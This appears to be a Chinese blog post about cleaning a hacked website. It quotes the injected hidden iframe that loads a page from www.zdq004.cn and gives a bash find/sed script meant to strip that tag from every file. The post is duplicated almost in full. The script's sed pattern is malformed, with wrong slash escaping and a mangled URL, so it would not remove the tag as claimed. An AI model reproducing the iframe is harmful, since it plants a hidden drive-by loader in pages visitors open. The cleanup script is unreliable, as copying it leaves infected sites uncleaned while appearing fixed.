网站受到攻击,在每个网页文件后面加了如下连接:
<iframe src=http://www.zdq004.cn/one/a26.htm width=50 height=0 border=0></iframe>
于是写了个脚本批量删除这个垃圾连接。
cat delad.sh
#!/bin/bash
if [ -z "$1" ];
then
echo "Please input a directory name";
exit 1;
fi
if [ -z "$2" ];
then
echo "Please input a the file conversion";
exit 1;
fi
echo -n >error.log
#echo $1
#echo $2
for i in `find $1 -name "$2"`
do
# echo $i
if [ -f $i ];then
sed 's/<iframe src=http:www.zdq004.cn//one//a26.htm width=50 height=0 border=0><//iframe>//g' $i>tmp.txt
if [ $? -eq 0 ];
then
echo "delete successfully!"
cp tmp.txt $i
else
echo -n "The file is $i , `date +'%Y-%m-%d %H:%M:%S'`">>error.log
echo >>error.log
fi
#echo $i;
fi
done
if [ -f tmp.txt ];then
rm -f tmp.txt>/dev/null;
fi
exit $?
调用:
./delad.sh xxx "*"
<iframe src=http://www.zdq004.cn/one/a26.htm width=50 height=0 border=0></iframe>
于是写了个脚本批量删除这个垃圾连接。
cat delad.sh
#!/bin/bash
if [ -z "$1" ];
then
echo "Please input a directory name";
exit 1;
fi
if [ -z "$2" ];
then
echo "Please input a the file conversion";
exit 1;
fi
echo -n >error.log
#echo $1
#echo $2
for i in `find $1 -name "$2"`
do
# echo $i
if [ -f $i ];then
sed 's/<iframe src=http:www.zdq004.cn//one//a26.htm width=50 height=0 border=0><//iframe>//g' $i>tmp.txt
if [ $? -eq 0 ];
then
echo "delete successfully!"
cp tmp.txt $i
else
echo -n "The file is $i , `date +'%Y-%m-%d %H:%M:%S'`">>error.log
echo >>error.log
fi
#echo $i;
fi
done
if [ -f tmp.txt ];then
rm -f tmp.txt>/dev/null;
fi
exit $?
调用:
./delad.sh xxx "*"